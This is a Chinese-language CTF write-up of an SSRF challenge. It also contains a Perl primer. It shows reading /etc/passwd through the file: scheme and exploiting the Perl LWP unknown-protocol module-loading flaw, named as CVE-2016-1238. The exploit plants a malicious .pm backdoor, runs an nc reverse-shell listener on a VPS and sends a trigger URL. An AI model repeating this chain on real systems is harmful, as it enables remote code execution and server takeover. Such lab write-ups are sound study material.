ssrf
1 |
|
首先创建一个沙盒文件夹,然后在这个文件夹环境下执行命令:GET+参数
主要接受两个参数,一个是url(上面get的参数),另一个是filename。
具体过程是通过GET命令获得url界面的内容(如果是网页或php,则是解析后的),然后将获得内容写到提供的filename里面。filename是一个目录加文件名的形式,如/123/111.php:
1 | $info:array(4) { ["dirname"]=> string(4) "/123" ["basename"]=> string(7) "111.php" ["extension"]=> string(3) "php" ["filename"]=> string(3) "111" } |
如果是多级目录,如/var/www/html/123/111.php,由于 basename($info[“basename”]) ,$dir只会取最低目录,所以dir还是123:
1 | $info:array(4) { ["dirname"]=> string(17) "/var/www/html/123" ["basename"]=> string(7) "111.php" ["extension"]=> string(3) "php" ["filename"]=> string(3) "111" } |
本来是可以通过在远程服务器写一个文本,文本里是小马,然后通过GET远程将小马内容写到目标服务器上。但是写进去之后php并不会被解析,原因是sandbox目录。在这个沙箱目录里,php不会被解析。于是自然想到逃逸出这个目录。
在创建$dir目录时,这个参数是我们可以控制的,于是想到构造这样的filename—>../../123/111.php。但是str_replace函数对点进行了过滤,无法返回上级目录。
换一种姿势
之前测试用的payload是这个格式的(本地环境搭建的)
http://172.20.10.4/ssrf.php?filename=/123/111.php&url=xxxx
发现url可以读取本地目录,比如url=/etc/passwd(没啥东西)
1 | root:x:0:0:root:/root:/bin/bash |
读取根目录,首先在kali里面试了
1 | GET ~ |
可以得到本地根目录内容。但是php脚本中,escapeshellarg() 函数自动将传入的参数加上了引号,变成了
1 | GET `~` //返回400 URL must be absolute= |
换个姿势:
1 | url=file:/ |
成功
1 | <HTML> |
可以看到根目录下有flag和readflag两个文件,应该是通过执行readflag获取flag
学习大佬博客后,发现考点在 perl
https://www.jianshu.com/p/3f82685f56a8 (参看题解)
Perl语言与LWP
简介
Perl 是 Practical Extraction and Report Language 的缩写,可翻译为 “实用报表提取语言”。
Perl 借用了C、sed、awk、shell脚本以及很多其他编程语言的特性。
Perl 最重要的特性是Perl内部集成了正则表达式的功能,以及巨大的第三方代码库CPAN。
Perl 语言的应用范围很广,除CGI以外,Perl被用于图形编程、系统管理、网络编程、金融、生物以及其他领域。由于其灵活性,Perl被称为++脚本语言++中的瑞士军刀。
安装
kali自带:perl -v
基本语法
- Perl 程序由声明与语句组成,程序自上而下执行,包含了循环,条件控制,每个语句以分号 (;) 结束。没有缩进要求。
- Perl文件以.pl结尾
- Perl 有三个基本的数据类型:标量、数组、哈希。在使用时在变量的名字前面加上一个”$”,表示是标量,如:
1
$mysecond="123"; #字符串123
数组变量以字符”@”开头,索引从0开始,如:
1 | @arr=(1,2,3) |
哈希是一个无序的 key/value 对集合。可以使用键作为下标获取值。哈希变量以字符”%”开头。
1 | %h=('a'=>1,'b'=>2); |
- 循环条件语句类似php或python,比较灵活
- 文件操作:
- open函数
- sysopen函数
- close函数
1 | open(DATA, "<file.txt"); #使用 open 函数以只读的方式(<)打开文件 file.txt: |
1 | #!/usr/bin/perl |
特殊变量
Perl Socket 编程
(
主要涉及到perl反弹shell)Perl面向对象
面向对象有很多基础概念,这里我们接收三个:对象、类和方法。
https://blog.csdn.net/yangfangjit/article/details/72904444(关于写一个类)对象:对象是对类中数据项的引用。.
类:类是个Perl包,其中含提供对象方法的类。Perl 类的文件后缀为 .pm。
方法:方法是个Perl子程序,类名是其第一个参数。
- package 类名 —> 定义类/包名
- sub 方法名 —> 定义方法
- use/require 类名 —> 调用类(或者说载入一个模块)
- new 类名() —> 创建对象
- my —>声明一个局部变量
- our —>声明一个全局变量
- ……
从一个包中访问另外一个包的变量,可通过” 包名 + 双冒号( :: ) + 变量名 “ 的方式指定。
use和require在使用方式上是有区别的,详情百度。
关于perl的类、包、模块 —> http://blog.chinaunix.net/uid-27464093-id-3308003.html
LWP
LWP是Library for WWW access in Perl的缩写,是一个由多个模块组成,用来获取网络数据的的模块组。 关于LWP的话,已经有专门的书了,内容比较复杂。。。这里做简单介绍参考资料:perl中LWP与WEB的基本使用
为什么关注LWP呢,我们可以用man查一下GET这个命令,下面是一部分内容:
1 | LWP-REQUEST(1p) User Contributed Perl Documentation LWP-REQUEST(1p) |
关于这道题,考查的是perl5的CVE-2016-1238 ,当解析遇到了非定义的协议(定义的协议在perl5/LWP/Protocol文件夹下可以看到, 默认支持GHTTP、cpan、data、file、ftp、gopher、http、https、loopback、mailto、nntp、nogo协议)时, 会自动读取当前目录下的URI目录并查看是否有对应协议的pm模块并尝试eval “require xxx” 这里我们的恶意pm模块就会被执行。
### 构造Perl后门
这里是利用上面的漏洞向目录中写入恶意pm包,然后通过访问未知协议触发恶意脚本,反弹shell。
1 | #!/usr/bin/perl |
攻击实施步骤:
- 准备恶意pm包:首先要在自己vps上写好perl后门,确保服务器能访问到(国外的可能被墙)
- 下载后门:
1 | #coding:utf-8 |
vps监听端口
1
nc -vv -l -p 1988 //vps上监听端口
发起url请求触发漏洞:
1
http://117.50.3.97:8004/?filename=xxxxxx&url=e0145f75://123
vps上收到反弹shell,执行根目录readflag,
获得flag{d9faf0e7-6152-48be-8c5c-479c9681bcf3}